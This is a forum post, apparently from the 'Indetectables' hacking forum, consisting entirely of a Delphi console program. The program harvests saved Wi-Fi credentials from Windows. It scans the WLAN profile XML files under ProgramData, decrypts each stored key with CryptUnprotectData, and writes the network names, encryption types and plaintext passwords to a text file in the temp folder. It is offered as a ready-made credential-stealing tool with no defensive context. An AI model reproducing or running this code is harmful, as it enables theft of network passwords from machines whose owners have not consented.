Indetectables

Código: Seleccionar todo

program Project1;

{$APPTYPE CONSOLE}

uses
  windows,
  sysutils,
  classes,

  dialogs;
CONST
CRYPT_STRING_HEX=4;
  type
  TDATA_BLOB = record
cbData: DWORD;
pbData: PByte;
end;
PDATA_BLOB = ^TDATA_BLOB;
TCRYPTPROTECT_PROMPTSTRUCT = record
cbSize: DWORD;
dwPromptFlags: DWORD;
hwndApp: HWND;
szPrompt: PWChar;
end;
   PCRYPTPROTECT_PROMPTSTRUCT = ^TCRYPTPROTECT_PROMPTSTRUCT;

   function Pars(T_, ForS, _T: string): string;
var
  a, b: integer;
begin
  Result := '';
  if (T_ = '') or (ForS = '') or (_T = '') then
    Exit;
  a := Pos(T_, ForS);
  if a = 0 then
    Exit
  else
    a := a + Length(T_);
  ForS := Copy(ForS, a, Length(ForS) - a + 1);
  b := Pos(_T, ForS);
  if b > 0 then
    Result := Copy(ForS, 1, b - 1);
end;
    procedure FindFiles(StartDir, FileMask: string;
                 recursively: boolean;var FilesList: TStringList);
const
 MASK_ALL_FILES = '*.*';
  CHAR_POINT = '.';
var
sRec: TSearchRec;
 // SR: TSearchRec;
  DirList: TStringList;
  IsFound: Boolean;
  i: integer;
begin

  if (StartDir[length(StartDir)] <> '\') then begin
    StartDir := StartDir + '\';
  end;

  // Crear la lista de ficheos en el dir. StartDir (no directorios!)
  IsFound := FindFirst(StartDir + FileMask,
                  faAnyFile - faDirectory, sRec) = 0;

  // MIentras encuentre
  while IsFound do begin
    FilesList.Add(StartDir + sRec.Name);
    IsFound := FindNext(sRec) = 0;
  end;

  FindClose(sRec);

  // Recursivo?
  if (recursively) then begin
    // Build a list of subdirectories
    DirList := TStringList.Create;
    // proteccion
    try
    IsFound := FindFirst(StartDir + MASK_ALL_FILES,
                   faAnyFile, sRec) = 0;
    while IsFound do begin
      if ((sRec.Attr and faDirectory) <> 0) and
          (sRec.Name[1] <>  CHAR_POINT) then begin
        DirList.Add(StartDir + sRec.Name);
        end;
        IsFound := FindNext(sRec) = 0;


     // end; // if
    end; // while
    FindClose(sRec);
 // Scan the list of subdirectories
    for i := 0 to DirList.Count - 1 do begin
      FindFiles(DirList[i], FileMask, recursively, FilesList);
    end;

    finally
      DirList.Free;
    end;
  end;
end;
   const
// flag el dato lo puede descifrar cualquier usuario
CRYPTPROTECT_LOCAL_MACHINE = 4;
var
 size :dword = 1024;
 byteKey:  array[0..1024] of pbyte;
 FilesList,datos: TStringList;

s2:wideString;
Src, Dst: TDATA_BLOB;
  i:integer;
  s,t1,t2:string;
  f:textfile;
  resp:bool;
    function CryptUnprotectData(pDataIn: PDATA_BLOB; szDataDescr: PWChar;
pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer;
pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD; pDataOut: PDATA_BLOB
): BOOL; stdcall; external 'Crypt32.dll';

 function CryptStringToBinary(pszString: PwideChar; cchString: DWORD; dwFlags: DWORD;
  pbBinary: pbyte; var pcbBinary: dword; pdwSkip: PDWORD;
  pdwFlags: PDWORD): BOOL; stdcall;
  external 'Crypt32.dll' name 'CryptStringToBinaryW';
    //CryptStringToBinaryW (Unicode) d2010 and CryptStringToBinaryA (ANSI) d7

begin
  try

begin

         datos := TStringList.Create;
       FilesList := TStringList.Create;
      findfiles('C:\ProgramData\Microsoft\Wlansvc\Profiles\','*.xml',true,FilesList) ;  //true recursividad es si busca en subcarpetas

       for i:=0 to  FilesList .Count -1 do begin

       datos.loadfromfile(fileslist[i]);

     s:=datos.text;

      t1:= (pars('<name>',s,'</name>'));
    //essid

     t2:=  (pars('<authentication>',s,'</authentication>'));//cifrado wep o wpa

     s2:= (pars('<keyMaterial>',s,'</keyMaterial>')); //clave wireles

     fileslist.SaveToFile((GetEnvironmentVariable('TEMP') +'\info redes.txt'));

           // convertir a byte array

         resp:= CryptStringToBinary (pwidechar(S2),length(S2),CRYPT_STRING_HEX, @byteKey,size,nil, nil);

if resp =true then
                 begin

 AssignFile(f,( GetEnvironmentVariable('TEMP') +'\wkey.txt'));
if FileExists(( GetEnvironmentVariable('TEMP') +'\wkey.txt')) then
 append(f)

 else
rewrite(f);
try
               dst.cbData:= (size);
                    Dst.pbdata :=(@bytekey[0]);

          showmessage( pchar(@bytekey[0]));

              writeln(f,'essid: '+t1);
              writeln(f,'------------------');
              writeln(f,'tipo de encriptacion: '+t2);
              writeln(f,'------------------');
              

   if CryptUnProtectData(@Dst,nil,nil,nil,nil,CRYPTPROTECT_LOCAL_MACHINE,@Src) then
               begin




writeln(f,('password is: '+pansichar(Src.pbData)));
 CloseFile(f);
end

else begin
 writeln(SysErrorMessage(GetLastError));
 writeln('presione enter para saliir');
readln;
 end;

 finally

end;

 end;

 end;
  datos.free;
    FilesList.Free;
end;
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.